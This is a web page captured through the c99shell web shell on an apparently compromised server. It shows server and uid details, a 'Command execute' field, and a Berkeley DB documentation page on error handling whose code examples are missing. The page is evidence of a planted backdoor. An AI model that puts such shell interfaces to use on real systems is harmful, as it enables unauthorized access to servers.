Software: Apache/2.0.54 (Unix) mod_perl/1.99_09 Perl/v5.8.0 mod_ssl/2.0.54 OpenSSL/0.9.7l DAV/2 FrontPage/5.0.2.2635 PHP/4.4.0 mod_gzip/2.0.26.1a uname -a: Linux snow.he.net 4.4.276-v2-mono-1 #1 SMP Wed Jul 21 11:21:17 PDT 2021 i686 uid=99(nobody) gid=98(nobody) groups=98(nobody) Safe-mode: OFF (not secure) /usr/doc/db-3.3.11/ref/am_misc/ drwxr-xr-x | |
| Viewing file: Select action/file-type:
Error supportBerkeley DB offers programmatic support for displaying error return values. The db_strerror interface returns a pointer to the error message corresponding to any Berkeley DB error return, similar to the ANSI C strerror interface, but is able to handle both system error returns and Berkeley DB specific return values. For example:
There are also two additional error interfaces, DB->err and DB->errx. These interfaces work like the ANSI C X3.159-1989 (ANSI C) printf interface, taking a printf-style format string and argument list, and writing a message constructed from the format string and arguments. The DB->err function appends the standard error string to the constructed message; the DB->errx function does not. These interfaces provide simpler ways of displaying Berkeley DB error messages. For example, if your application tracks session IDs in a variable called session_id, it can include that information in its error messages: Error messages can additionally be configured to always include a prefix (for example, the program name) using the DB->set_errpfx interface. #define DATABASE "access.db" For example, if the program were called my_app and the open call returned an EACCESS system error, the error messages shown would appear as follows: my_app: access.db: Permission denied. my_app: contact your system administrator: session ID was 14
|
:: Command execute :: | |
--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0045 ]-- |